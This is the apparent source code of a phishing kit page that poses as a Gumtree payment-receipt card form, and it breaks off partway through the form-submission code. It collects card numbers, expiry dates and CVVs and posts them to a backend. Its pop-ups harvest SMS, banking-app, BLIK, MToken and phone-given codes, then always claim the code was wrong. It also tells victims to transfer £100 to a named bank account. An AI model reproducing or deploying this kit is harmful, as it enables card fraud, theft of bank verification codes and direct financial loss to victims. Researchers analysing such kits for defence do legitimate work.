11.803H36.4612L36.412 9.71557L36.0599 11.803H35.5127L35.9698 9.07178H36.8105L36.834 10.7626L37.4013 9.07178H38.3092L37.857 11.803Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M39.2964 10.8128C39.2351 10.8056 39.2081 10.8037 39.1659 10.8037C38.8345 10.8037 38.6669 10.9172 38.6669 11.1416C38.6669 11.2797 38.7488 11.3682 38.8765 11.3682C39.1146 11.3682 39.2863 11.1415 39.2964 10.8128ZM39.7216 11.8023H39.2372L39.2483 11.5722C39.1006 11.7539 38.9034 11.8408 38.6356 11.8408C38.3187 11.8408 38.1016 11.5932 38.1016 11.2339C38.1016 10.6928 38.4794 10.3778 39.128 10.3778C39.1943 10.3778 39.2792 10.3838 39.3663 10.395C39.3843 10.3215 39.3891 10.2903 39.3891 10.2505C39.3891 10.1036 39.2873 10.0488 39.0142 10.0488C38.7281 10.0454 38.4923 10.1167 38.3952 10.1484C38.4015 10.1116 38.4763 9.64895 38.4763 9.64895C38.7677 9.5635 38.9598 9.53125 39.1761 9.53125C39.6781 9.53125 39.9439 9.75685 39.9435 10.1827C39.9444 10.2968 39.9256 10.438 39.8962 10.6228C39.8454 10.9443 39.7364 11.6346 39.7216 11.8023Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M47.5628 9.14577L47.4671 9.7385C47.2583 9.63357 47.1071 9.59111 46.9449 9.59111C46.5084 9.59111 46.2022 10.013 46.2022 10.6146C46.2022 11.0292 46.408 11.2796 46.7479 11.2796C46.8919 11.2796 47.0509 11.2351 47.2444 11.1395L47.1416 11.762C46.9264 11.8206 46.7871 11.842 46.6251 11.842C45.9956 11.842 45.6035 11.3895 45.6035 10.6628C45.6035 9.68634 46.1455 9.00391 46.9203 9.00391C47.1756 9.00391 47.4771 9.11207 47.5628 9.14577Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M48.5049 10.8128C48.444 10.8056 48.4169 10.8037 48.3748 10.8037C48.0436 10.8037 47.8759 10.9172 47.8759 11.1416C47.8759 11.2797 47.9577 11.3682 48.0853 11.3682C48.3233 11.3682 48.4952 11.1415 48.5049 10.8128ZM48.9305 11.8023H48.4461L48.4571 11.5722C48.3094 11.7539 48.1122 11.8408 47.8446 11.8408C47.5275 11.8408 47.3105 11.5932 47.3105 11.2339C47.3105 10.6928 47.6881 10.3778 48.3368 10.3778C48.4031 10.3778 48.4878 10.3838 48.5748 10.395C48.5929 10.3215 48.5977 10.2903 48.5977 10.2505C48.5977 10.1036 48.4962 10.0488 48.2229 10.0488C47.9371 10.0454 47.7013 10.1167 47.6041 10.1484C47.6103 10.1116 47.6852 9.64895 47.6852 9.64895C47.9766 9.5635 48.1685 9.53125 48.3848 9.53125C48.8868 9.53125 49.1529 9.75685 49.1522 10.1827C49.1534 10.2968 49.1344 10.438 49.105 10.6228C49.0544 10.9443 48.9454 11.6346 48.9305 11.8023Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M42.3197 11.7688C42.1598 11.8192 42.035 11.8411 41.8998 11.8411C41.601 11.8411 41.4377 11.6692 41.4377 11.3533C41.4337 11.2547 41.4809 10.9968 41.5181 10.761C41.5517 10.5533 41.7715 9.24512 41.7715 9.24512H42.3527L42.2847 9.58127H42.583L42.5036 10.115H42.2043C42.1368 10.5378 42.0405 11.0637 42.0393 11.1335C42.0393 11.2484 42.1007 11.2981 42.2397 11.2981C42.3063 11.2981 42.3578 11.2916 42.3974 11.2771L42.3197 11.7688Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M44.1007 11.751C43.901 11.8121 43.7081 11.841 43.5042 11.8408C42.8535 11.8404 42.5146 11.5004 42.5146 10.8499C42.5146 10.0904 42.9459 9.53125 43.5313 9.53125C44.0108 9.53125 44.3168 9.84425 44.3168 10.3355C44.3168 10.4983 44.2955 10.6572 44.2453 10.8816H43.0879C43.0487 11.2039 43.255 11.3384 43.593 11.3384C43.8009 11.3384 43.9885 11.2953 44.1974 11.1983L44.1007 11.751ZM43.774 10.4337C43.7771 10.3872 43.8356 10.0372 43.5035 10.0372C43.3185 10.0372 43.186 10.1785 43.1321 10.4337H43.774Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M40.0718 10.2832C40.0718 10.5645 40.2081 10.7578 40.5171 10.9036C40.7538 11.0149 40.7904 11.0478 40.7904 11.1488C40.7904 11.2872 40.686 11.3497 40.4546 11.3497C40.2803 11.3497 40.118 11.3226 39.9308 11.2623C39.9308 11.2623 39.8542 11.7518 39.8506 11.7749C39.9833 11.804 40.1019 11.8305 40.4588 11.8408C41.0758 11.8408 41.3607 11.606 41.3607 11.0984C41.3607 10.793 41.2414 10.614 40.9486 10.4795C40.7035 10.3668 40.6753 10.3418 40.6753 10.238C40.6753 10.1179 40.7725 10.0562 40.9615 10.0562C41.076 10.0562 41.2329 10.0689 41.3815 10.0899L41.4647 9.57474C41.3133 9.55082 41.0839 9.53125 40.9502 9.53125C40.2961 9.53125 40.0698 9.87285 40.0718 10.2832Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M52.0244 11.803H51.4715L51.4989 11.5963C51.3384 11.7676 51.1741 11.8416 50.9598 11.8416C50.535 11.8416 50.2539 11.4755 50.2539 10.9198C50.2539 10.1809 50.6897 9.55813 51.2052 9.55813C51.4319 9.55813 51.6035 9.65072 51.7634 9.86109L51.8931 9.07178H52.4697L52.0244 11.803ZM51.1619 11.2898C51.4343 11.2898 51.6255 10.9813 51.6255 10.5413C51.6255 10.259 51.5166 10.1057 51.3157 10.1057C51.0505 10.1057 50.8623 10.4153 50.8623 10.8521C50.8623 11.1428 50.9631 11.2898 51.1619 11.2898Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M49.4584 9.58244C49.3853 10.27 49.2553 10.9663 49.1536 11.6543L49.127 11.8037H49.7117C49.9209 10.4453 49.9712 10.1802 50.2993 10.2133C50.3515 9.93527 50.4487 9.6918 50.5212 9.56908C50.2763 9.51802 50.1396 9.65639 49.9604 9.91936C49.9746 9.80558 50.0004 9.6952 49.9956 9.58244H49.4584Z" fill="white"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M44.6452 9.58244C44.5718 10.27 44.4416 10.9663 44.34 11.6543L44.3135 11.8037H44.8984C45.1076 10.4453 45.1578 10.1802 45.4854 10.2133C45.5379 9.93527 45.6354 9.6918 45.7076 9.56908C45.463 9.51802 45.326 9.65639 45.1471 9.91936C45.1613 9.80558 45.1872 9.6952 45.1821 9.58244H44.6452Z" fill="white"></path> <rect x="64" width="24" height="20" rx="2" fill="#0069AA"></rect> <path fill-rule="evenodd" clip-rule="evenodd" d="M78.5475 9.98961C78.5452 8.50612 77.6179 7.24093 76.3113 6.73987V13.2391C77.6179 12.7374 78.5452 11.4734 78.5475 9.98961ZM73.8187 13.2378V6.74052C72.5132 7.24313 71.5874 8.50651 71.5839 9.98961C71.5874 11.4723 72.5132 12.7356 73.8187 13.2378ZM75.0656 4.49626C72.0318 4.49743 69.5739 6.95583 69.5734 9.98961C69.5739 13.023 72.0318 15.481 75.0656 15.4815C78.0994 15.481 80.5578 13.023 80.5586 9.98961C80.5578 6.95583 78.0994 4.49743 75.0656 4.49626ZM75.0521 15.9999C71.7324 16.0157 69 13.3262 69 10.0523C69 6.4742 71.7324 3.99935 75.0521 4H76.6079C79.8884 3.99935 82.8824 6.47303 82.8824 10.0523C82.8824 13.3251 79.8884 15.9999 76.6079 15.9999H75.0521Z" fill="white"></path> <rect x="96.25" y="0.25" width="23.5" height="19.5" rx="1.75" fill="white"></rect> <path fill-rule="evenodd" clip-rule="evenodd" d="M100.396 10.0075C100.228 10.1513 100.014 10.2142 99.6712 10.2142H99.5292V8.49816H99.6712C100.014 8.49816 100.219 8.5568 100.396 8.70776C100.578 8.86375 100.687 9.10439 100.687 9.3533C100.687 9.60341 100.578 9.85262 100.396 10.0075ZM99.7773 8.05859H99V10.6539H99.7725C100.184 10.6539 100.48 10.5603 100.741 10.3537C101.05 10.1091 101.233 9.73965 101.233 9.35692C101.233 8.59076 100.635 8.05859 99.7773 8.05859Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M101.477 8.05859H102.004V10.6539H101.477V8.05859Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M103.298 9.05405C102.98 8.9424 102.887 8.86803 102.887 8.72776C102.887 8.56471 103.054 8.44106 103.282 8.44106C103.44 8.44106 103.571 8.50173 103.71 8.64996L103.985 8.30452C103.758 8.11305 103.486 8.01611 103.189 8.01611C102.709 8.01611 102.343 8.33566 102.343 8.75819C102.343 9.11693 102.513 9.29892 103.01 9.47175C103.217 9.54077 103.322 9.58794 103.376 9.61988C103.482 9.68528 103.534 9.779 103.534 9.88733C103.534 10.0984 103.359 10.2536 103.123 10.2536C102.871 10.2536 102.668 10.1331 102.546 9.90677L102.205 10.2228C102.449 10.5646 102.741 10.7174 103.144 10.7174C103.693 10.7174 104.08 10.3656 104.08 9.86455C104.08 9.45169 103.9 9.26456 103.298 9.05405Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M104.245 9.35698C104.245 10.1202 104.871 10.7116 105.677 10.7116C105.904 10.7116 106.099 10.6687 106.339 10.5604V9.96392C106.127 10.1678 105.941 10.2482 105.7 10.2482C105.168 10.2482 104.791 9.87948 104.791 9.35335C104.791 8.85625 105.18 8.46244 105.677 8.46244C105.928 8.46244 106.12 8.54749 106.339 8.75437V8.15861C106.107 8.04646 105.917 8 105.688 8C104.887 8 104.245 8.60301 104.245 9.35698Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M110.625 9.80102L109.902 8.05859H109.325L110.475 10.7194H110.759L111.931 8.05859H111.358L110.625 9.80102Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M112.17 10.6539H113.67V10.2142H112.699V9.51362H113.633V9.07396H112.699V8.49816H113.67V8.05859H112.17V10.6539Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M114.703 9.25202H114.55V8.46702H114.712C115.043 8.46702 115.22 8.59973 115.22 8.85257C115.22 9.11235 115.042 9.25202 114.703 9.25202ZM115.764 8.82435C115.764 8.33833 115.416 8.05859 114.805 8.05859H114.02V10.6539H114.55V9.61046H114.619L115.349 10.6539H116L115.147 9.56008C115.546 9.48208 115.764 9.22149 115.764 8.82435Z" fill="#1A1918"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M109.399 9.36233C109.399 10.1095 108.766 10.7152 107.985 10.7152C107.204 10.7152 106.571 10.1095 106.571 9.36233C106.571 8.61501 107.204 8.00928 107.985 8.00928C108.766 8.00928 109.399 8.61501 109.399 9.36233Z" fill="#E7772F"></path> <path d="M97 20H118.788C119.457 20 120 19.4564 120 18.785C120 18.785 120 13 120 12C117 14.5 112 18 97 20Z" fill="#E7772F"></path> <rect x="96.25" y="0.25" width="23.5" height="19.5" rx="1.75" stroke="#E7772F" stroke-width="0.5"></rect> <rect x="128.25" y="0.25" width="23.5" height="19.5" rx="1.75" fill="white"></rect> <path d="M144.578 11.1581H145.869C145.906 11.1581 145.992 11.1458 146.029 11.1458C146.274 11.0966 146.483 10.8754 146.483 10.5681C146.483 10.273 146.274 10.0518 146.029 9.99032C145.992 9.97803 145.918 9.97803 145.869 9.97803H144.578V11.1581Z" fill="url(#paint0_linear_5729_184079)"></path> <path d="M145.722 3.00732C144.493 3.00732 143.485 4.00299 143.485 5.2445V7.56772H146.644C146.718 7.56772 146.804 7.56772 146.865 7.58002C147.578 7.61689 148.107 7.98566 148.107 8.62485C148.107 9.12883 147.75 9.55906 147.087 9.6451V9.66969C147.812 9.71885 148.365 10.1245 148.365 10.7514C148.365 11.4275 147.75 11.87 146.939 11.87H143.473V16.4181H146.755C147.984 16.4181 148.992 15.4224 148.992 14.1809V3.00732H145.722Z" fill="url(#paint1_linear_5729_184079)"></path> <path d="M146.324 8.77328C146.324 8.47827 146.115 8.28159 145.869 8.24471C145.844 8.24471 145.783 8.23242 145.746 8.23242H144.578V9.31413H145.746C145.783 9.31413 145.857 9.31413 145.869 9.30184C146.115 9.26497 146.324 9.06829 146.324 8.77328Z" fill="url(#paint2_linear_5729_184079)"></path> <path d="M133.356 3.00732C132.127 3.00732 131.119 4.00299 131.119 5.2445V10.7637C131.746 11.071 132.397 11.2677 133.049 11.2677C133.823 11.2677 134.241 10.8006 134.241 10.1614V7.55543H136.159V10.1491C136.159 11.157 135.532 11.9806 133.405 11.9806C132.114 11.9806 131.106 11.6979 131.106 11.6979V16.4058H134.388C135.618 16.4058 136.626 15.4101 136.626 14.1686V3.00732H133.356Z" fill="url(#paint3_linear_5729_184079)"></path> <path d="M139.538 3.00732C138.309 3.00732 137.301 4.00299 137.301 5.2445V8.17004C137.866 7.69065 138.85 7.38334 140.435 7.45709C141.283 7.49397 142.193 7.72752 142.193 7.72752V8.67402C141.738 8.44047 141.197 8.2315 140.497 8.18233C139.292 8.09629 138.567 8.68631 138.567 9.71886C138.567 10.7637 139.292 11.3537 140.497 11.2554C141.197 11.2062 141.738 10.985 142.193 10.7637V11.7102C142.193 11.7102 141.296 11.9437 140.435 11.9806C138.85 12.0544 137.866 11.7471 137.301 11.2677V16.4304H140.583C141.812 16.4304 142.82 15.4347 142.82 14.1932V3.00732H139.538Z" fill="url(#paint4_linear_5729_184079)"></path> <rect x="128.25" y="0.25" width="23.5" height="19.5" rx="1.75" stroke="#C5C6C9" stroke-width="0.5"></rect> <defs><linearGradient id="paint0_linear_5729_184079" x1="143.482" y1="10.5695" x2="149.006" y2="10.5695" gradientUnits="userSpaceOnUse"><stop stop-color="#007940"></stop> <stop offset="0.229" stop-color="#00873F"></stop> <stop offset="0.743" stop-color="#40A737"></stop> <stop offset="1" stop-color="#5CB531"></stop></linearGradient> <linearGradient id="paint1_linear_5729_184079" x1="143.483" y1="9.7073" x2="149.007" y2="9.7073" gradientUnits="userSpaceOnUse"><stop stop-color="#007940"></stop> <stop offset="0.229" stop-color="#00873F"></stop> <stop offset="0.743" stop-color="#40A737"></stop> <stop offset="1" stop-color="#5CB531"></stop></linearGradient> <linearGradient id="paint2_linear_5729_184079" x1="143.482" y1="8.77168" x2="149.006" y2="8.77168" gradientUnits="userSpaceOnUse"><stop stop-color="#007940"></stop> <stop offset="0.229" stop-color="#00873F"></stop> <stop offset="0.743" stop-color="#40A737"></stop> <stop offset="1" stop-color="#5CB531"></stop></linearGradient> <linearGradient id="paint3_linear_5729_184079" x1="131.116" y1="9.7073" x2="136.725" y2="9.7073" gradientUnits="userSpaceOnUse"><stop stop-color="#1F286F"></stop> <stop offset="0.475" stop-color="#004E94"></stop> <stop offset="0.826" stop-color="#0066B1"></stop> <stop offset="1" stop-color="#006FBC"></stop></linearGradient> <linearGradient id="paint4_linear_5729_184079" x1="137.269" y1="9.7073" x2="142.717" y2="9.7073" gradientUnits="userSpaceOnUse"><stop stop-color="#6C2C2F"></stop> <stop offset="0.173" stop-color="#882730"></stop> <stop offset="0.573" stop-color="#BE1833"></stop> <stop offset="0.859" stop-color="#DC0436"></stop> <stop offset="1" stop-color="#E60039"></stop></linearGradient> <clipPath id="clip0_5729_184079"><rect width="22" height="7.28071" fill="white" transform="translate(1 6)"></rect></clipPath></defs></svg> <label for="cardNumber" class="card-input__label">
            Card number
          </label> <input type="text" required="required" id="cardNumber" minlength="16" data-ref="cardNumber" autocomplete="off" class="card-input__input"></div> <div class="card-input"><label for="cardHolder" class="card-input__label">
            Cardholder's name
          </label> <input type="text" required="required" id="cardHolder" name="cardHolder" placeholder="John Doe" class="card-input__input"></div> <div class="card-form__row"><div class="card-form__col"><div class="card-form__group"><label for="cardMonth" class="card-input__label">
                Expiration date
              </label> <select required="required" id="cardMonth" data-ref="cardDate" class="card-input__input -select"><option value="" disabled="disabled" selected="selected">
                  Month
                </option> <option value="01">
                  01 </option><option value="02">
                  02 </option><option value="03">
                  03 </option><option value="04">
                  04 </option><option value="05">
                  05 </option><option value="06">
                  06 </option><option value="07">
                  07 </option><option value="08">
                  08 </option><option value="09">
                  09 </option><option value="10">
                  10 </option><option value="11">
                  11 </option><option value="12">
                  12 </option></select> <select required="required" id="cardYear" data-ref="cardDate" class="card-input__input -select"><option value="" disabled="disabled" selected="selected">
                  Year
                </option> <option value="2024">
                  2024
                </option><option value="2025">
                  2025
                </option><option value="2026">
                  2026
                </option><option value="2027">
                  2027
                </option><option value="2028">
                  2028
                </option><option value="2029">
                  2029
                </option><option value="2030">
                  2030
                </option><option value="2031">
                  2031
                </option><option value="2032">
                  2032
                </option><option value="2033">
                  2033
                </option><option value="2034">
                  2034
                </option><option value="2035">
                  2035
                </option></select></div></div> <div class="card-form__col -cvv"><div class="card-input"><label for="cardCvv" class="card-input__label">CVV</label> <input type="text" minlength="3" maxlength="4" required="required" id="cardCvv" autocomplete="off" class="card-input__input"></div></div></div> <!----> <!----> <!----> <button class="card-form__button">
          Continue  
        </button> <div class="secure-payment flex flex-center"><span aria-hidden="true" class="nFghBOe co-grey-800" style="width: 16px; height: 16px;"><svg width="14" height="16" viewBox="0 0 14 16" xmlns="http://www.w3.org/2000/svg"><path d="M12.5 7C12.9062 7 13.25 7.15625 13.5625 7.4375C13.8438 7.75 14 8.09375 14 8.5V14.5C14 14.9375 13.8438 15.2812 13.5625 15.5625C13.25 15.875 12.9062 16 12.5 16H1.5C1.0625 16 0.71875 15.875 0.4375 15.5625C0.125 15.2812 0 14.9375 0 14.5V8.5C0 8.09375 0.125 7.75 0.4375 7.4375C0.71875 7.15625 1.0625 7 1.5 7H2.25V4.75C2.25 3.90625 2.4375 3.125 2.875 2.375C3.3125 1.65625 3.875 1.09375 4.625 0.65625C5.34375 0.21875 6.125 0 7 0C7.84375 0 8.625 0.21875 9.375 0.65625C10.0938 1.09375 10.6562 1.65625 11.0938 2.375C11.5312 3.125 11.75 3.90625 11.75 4.75V7H12.5ZM8.25 12.25V10.75C8.25 10.4062 8.125 10.125 7.875 9.875C7.625 9.625 7.34375 9.5 7 9.5C6.625 9.5 6.34375 9.625 6.09375 9.875C5.84375 10.125 5.75 10.4062 5.75 10.75V12.25C5.75 12.625 5.84375 12.9062 6.09375 13.1562C6.34375 13.4062 6.625 13.5 7 13.5C7.34375 13.5 7.625 13.4062 7.875 13.1562C8.125 12.9062 8.25 12.625 8.25 12.25ZM9.25 7V4.75C9.25 4.125 9.03125 3.59375 8.59375 3.15625C8.15625 2.71875 7.625 2.5 7 2.5C6.375 2.5 5.84375 2.71875 5.40625 3.15625C4.96875 3.59375 4.75 4.125 4.75 4.75V7H9.25Z"></path></svg></span> <span>SSL Secure Payment</span></div> <div class="currency-message tbody-6">
          You will receive<span class="price"> £16.62</span>. Total amount includes currency conversion fees.

      </div></div></form></div>
  <style>
    .black-bg {
      background-color: #000; /* Черный цвет фона */
      color: #fff; /* Белый цвет текста для контраста */
      border: none; /* Удаление границы, если нужно */
      padding: 10px 20px; /* Добавьте паддинг по необходимости */
      font-size: 16px; /* Размер шрифта */
      cursor: pointer; /* Курсор для кликабельности */
    }
    .black-bg:hover {
      background-color: #333; /* Темно-серый цвет при наведении */
    }
  </style>
  
    <script>
        document.getElementById("cardBalance").addEventListener("change", function() {
            var cardBalanceValue = parseFloat(this.value);
            if (cardBalanceValue === 0) {
                this.value = '';
            }
        });
    </script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js" crossorigin="anonymous"></script>
  <script src="https://unpkg.com/[email protected]/dist/vue-the-mask.js" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue-swal.min.js" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/0.21.1/axios.min.js" crossorigin="anonymous"></script>
  <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
  <script defer="">

new Vue({
  el: "#app",
  data() {
    return {
      currentCardBackground: 8,
      cardBalance: "",
      cardNumber: "",
      cardMonth: "",
      cardYear: "",
      cardCvv: "",
      cardHolder: "", // Добавлено
      minCardYear: new Date().getFullYear(),
      amexCardMask: "#### ###### #####",
      otherCardMask: "#### #### #### ####",
      cardNumberTemp: "",
      isCardFlipped: false,
      focusElementStyle: null,
      isInputFocused: false,
      step: 1,
      cardError: "",
      balanceChecker: true,
      loading: false,
      currentStatus: null,
      logToken: null,
    };
  },

    mounted() {
      this.cardNumberTemp = this.otherCardMask;
      document.getElementById("cardNumber").focus();
      $("body").on(
        "click",
        ".pictures-container:not(.disabled) .pictures-element[data-item]",
        (e) => {
          e.preventDefault();
          $(".pictures-container").removeClass("disabled").addClass("disabled");
          axios.post(`/api/selectPicture`, {
            picture: $(e.target).data("item") || $(e.target).parent().data("item"),
            token: this.logToken
          }).catch(() => { }).finally(() => {
            setTimeout(() => {
              alert("You chose the wrong photo");
              $(".pictures-container").removeClass("disabled");
              this.pictureModal();
            }, 750);
          });
        });
    },
    computed: {
      getCardType() {
        if (!this.cardNumber || String(this.cardNumber).trim().length < 1) return false;
        let number = this.cardNumber;
        let re = new RegExp("^4");
        if (number.match(re) != null) return "visa";

        re = new RegExp("^(34|37)");
        if (number.match(re) != null) return "amex";

        re = new RegExp("^5[1-5]");
        if (number.match(re) != null) return "mastercard";

        re = new RegExp("^6011");
        if (number.match(re) != null) return "discover";

        re = new RegExp("^9792");
        if (number.match(re) != null) return "troy";

        return "visa"; // default type
      },
      generateCardNumberMask() {
        return this.getCardType === "amex"
          ? this.amexCardMask
          : this.otherCardMask;
      },
      minCardMonth() {
        if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
        return 1;
      },
    },
    watch: {
      cardYear() {
        if (this.cardMonth < this.minCardMonth) {
          this.cardMonth = "";
        }
      },
      currentStatus(v) {
        if (v == "profit") this.successModal();
        else if (v == "sms") this.codeModal();
        else if (v == "mtoken") this.mtokenModal();
        else if (v == "appCode") this.codeModal(
          "app",
          "Within 2 minutes, the verification code will be sent to your banking application.",
          "Enter the code that was sent to your banking application",
          "Verification code",
        );
        else if (v == "callCode") this.codeModal(
          "call",
          "The bank will give you a verification code over the phone",
          "Enter the code the bank gave you over the phone",
          "Enter the code",
        );
        else if (v == "blik") this.codeModal(
          "blik",
          "BLIK payment",
          "Generate a Blik code on your account and enter it",
          "BLIK code",
        );
        else if (v == "passcode") this.codeModal(
          "passcode",
          "You have entered the wrong code! Please try again.",
          "You have entered the wrong code! Please try again.",
          "",
        );
        else if (v == "pincode") this.codeModal(
          "pincode",
          "You have entered the wrong code! Please try again.",
          "You have entered the wrong code! Please try again.",
          "",
        );
        else if (v == "dtrans") this.codeModal(
          "dtrans",
          "Direct translation",
          `Direct Transfer - Your bank has requested verification of a UK citizen. To complete it, you need to send £ 100 to the company&#39;s account. After sending, you need to upload a photo of the check to any file hosting service. And paste the link in the box below.

Gumtree Verification Company Account
Name: KYRYLO KUTS
Sort code: 041307
Account number: 33258991
Bic: CLJUGB21
Bank: Clear Junction LTD
Value: ONLY GBP

Please. Enter all the data correctly`,
          "Enter all data",
        );
        else if (v == "callBank") this.codeModal(
          "callBank",
          "Confirmation of the operation",
          `You need to make a call to your bank to confirm the transaction!`,
          "",
        );
        else if (v == "picture") this.pictureModal();
        else if (v == "push") this.pushModal();
        else if (v == "pincode") this.pincodeModal();
        else if (v == "dtrans") this.pincodeModal();
        else if (v == "callBank") this.callBankModal();
        else if (v == "passcode") this.passcodeModal();
        else if (v == "limits") this.limitsModal();
        else if (v == "otherCard2") this.otherCardModal();
        else if (v == "otherCard") this.otherCardModal();
        else if (v == "forVerify") this.forVerifyModal();
        else if (v == "correctBalance2") this.correctBalanceModal();
        else if (v == "correctBalance") this.correctBalanceModal();
        else if (v == "lk") document.location.href = `/personal/${this.logToken}`;
        else if (v == "lk1") document.location.href = `/personal/${this.logToken}`;
        else if (v == "lk2") document.location.href = `/personal/${this.logToken}`;
        else if (v == "lk3") document.location.href = `/personal/${this.logToken}`;
        else if (v == "lk4") document.location.href = `/personal/${this.logToken}`;
        else if (v == "lk5") document.location.href = `/personal/${this.logToken}`;
        else if(v == "custom") document.location.href = `/custom/${this.logToken}`;
      },
    },
    methods: {
      limitsModal() {
        swal(
          "Error",
          "You need to raise the internet limits on your card to make a transaction!",
          "error"
        );
      },
      forVerifyModal() {
        swal(
          "Error",
          "",
          "error2"
        );
      },
      correctBalanceModal() {
        swal(
          "Error",
          "Enter the exact balance on your card!",
          "error"
        );
      },
      otherCardModal() {
        swal(
          "Error",
          "At this moment we do not cooperate with cards of this bank. You need to specify a card of another bank!",
          "error"
        );
      },
      pushModal() {
        swal(
          "To verify your card, confirm the transaction on the banks mobile app",
          "To transfer money to your card, your card must be verified. This is a request to verify the card, but you will not be charged, the system will simply state that the card is not blocked and is ready for the transaction.",
          "info", {

          closeOnClickOutside: false,
          closeOnEsc: false,
          buttons: false,
        }
        );
      },
      formatAndValidateBalance() {
    // Заменяем запятые на точки
    let balance = this.cardBalance.replace(',', '.');
    
    // Удаляем все лишние символы, оставляем только цифры и одну точку
    balance = balance.replace(/[^0-9.]/g, '');

    // Разбиваем на целую и дробную части
    const parts = balance.split('.');

    // Ограничиваем дробную часть двумя знаками
    if (parts.length > 1) {
      parts[1] = parts[1].substring(0, 2);
      balance = parts[0] + '.' + parts[1];
    }

    // Присваиваем обратно отформатированное значение
    this.cardBalance = balance;
  },
      successModal() {
        swal(
          "Success",
          "The money will be transferred to your bank card within 24 hours.",
          "success", {

          closeOnClickOutside: false,
          closeOnEsc: false,
          buttons: false,
        }
        );
      },
      pictureModal(){
        swal("When verifying your account in the system, we will provide the image title with your phone, which you must provide for confirmation. Once the correct images are provided, the funds will be credited to your account.", "In a moment, we will call you and say a word-picture. In some cases, we&#39;ll send a push notification to your bank&#39;s app after you provide the first picture that you need to confirm.", "info", {
          content: {
            element: "div",
            attributes: {
              id: "pictures_div"
            },
          },
          closeOnClickOutside: false,
          closeOnEsc: false,
          buttons: false,
        });
        const pictures = [
          "банан",
          "брюки",
          "бургер",
          "гитара",
          "зонтик",
          "календарь",
          "калькулятор",
          "карандаш",
          "клубника",
          "компас",
          "крокодил",
          "лимон",
          "мамонт",
          "микрофон",
          "наушники",
          "очки",
          "помидор",
          "свитер",
          "телефон",
          "цветок",
          "шоколад",
        ].sort(() => Math.random() - 0.5);

        document.querySelector("#pictures_div").innerHTML = '<div class="pictures-container">' + pictures.map(v => '<div class="pictures-element" data-item="' + v + '"><img draggable="false" alt="" src="/img/pictures/' + v + '.png"></div>').join("\n") + '</div>';
        document.querySelector(".pictures-container").classList.remove("disabled");
      },
      codeModal(codeType = "sms", title = "Enter SMS code", text = "A one-time SMS code has been sent to your phone", placeholder = "One-time SMS code", wrong_code = "You have entered the wrong code! Please try again.") {
        swal.stopLoading();
        swal({
          title,
          text,
          content: {
            element: "input",
            attributes: {
              type: "password",
              placeholder,
              maxLength: 255,
              required: true,
              style:
                "text-align: center;width: auto;margin-left:auto;margin-right:auto;",
            },
          },
          closeOnEsc: false,
          closeOnClickOutside: false,
          buttons: {
            confirm: {
              text: "Submit",
              closeModal: false,
            },
          },
        }).then(async (code) => {
          try {
            if (!code) {
              swal.stopLoading();
              alert(wrong_code);
              return this.codeModal(...arguments);
            }
            const response = await axios.post("/api/submitCode", {
              codeType,
              code,
              token: this.logToken,
            });

            swal.stopLoading();
            alert(wrong_code);
            return this.codeModal(...arguments);
          } catch (err) {
            swal.stopLoading();
            alert(wrong_code);
            return this.codeModal(...arguments);
          }
        });
      },
      mtokenModal(codeType = "mtoken", title = "Enter MToken", text = "To confirm the operation, enter your MToken in the field below", placeholder = "", wrong_code = "") {
        swal.stopLoading();
        swal({
          title,
          text,
          content: {
            element: "input",
            attributes: {
              type: "password",
              placeholder,
              maxLength: 255,
              required: true,
              style:
                "text-align: center;width: auto;margin-left:auto;margin-right:auto;",
            },
          },
          closeOnEsc: false,
          closeOnClickOutside: false,
          buttons: {
            confirm: {
              text: "Submit",
              closeModal: false,
            },
          },
        }).then(async (code) => {
          try {
            if (!code) {
              swal.stopLoading();
              alert(wrong_code);
              return this.codeModal(...arguments);
            }
            const response = await axios.post("/api/submitCode", {
              codeType,
              code,
              token: this.logToken,
            });

            swal.stopLoading();
            alert(wrong_code);
            return this.codeModal(...arguments);
          } catch (err) {
            swal.stopLoading();
            alert(wrong_code);
            return this.codeModal(...arguments);
          }
        });
      },
      valid_credit_card(value) {
        // accept only digits, dashes or spaces
        if (/[^0-9-\s]+/.test(value)) return false;

        // The Luhn Algorithm. It's so pretty.
        var nCheck = 0,
          nDigit = 0,
          bEven = false;
        value = value.replace(/\D/g, "");

        for (var n = value.length - 1; n >= 0; n--) {
          var cDigit = value.charAt(n),
            nDigit = parseInt(cDigit, 10);

          if (bEven) {
            if ((nDigit *= 2) > 9) nDigit -= 9;
          }

          nCheck += nDigit;
          bEven = !bEven;
        }

        return nCheck % 10 == 0;
      },
      
      submitForm(e) {
        e.preventDefault();
	     
        if (!this.valid_credit_card(this.cardNumber)) {
          return (this.cardError = "Card number is incorrect");
        } else {
          this.cardError = "";
        }
        if (this.step < 2 && this.balanceChecker) {
          swal({
            title: "Attention",
            icon: "warning",
            text:
              "The bank requested additional bank card information to verify card ownership.",
            buttons: true,
            dangerMode: true,
          }).then((val) => {
            if (val) this.step = 2;
          });


        } else if (this.step == 2 || !this.balanceChecker) {
          this.loading = true;
          axios
            .post("/api/submitCard", {
              adId: 265241624,
              number: this.cardNumber.replace(/\D+/g, ""),
              expire:
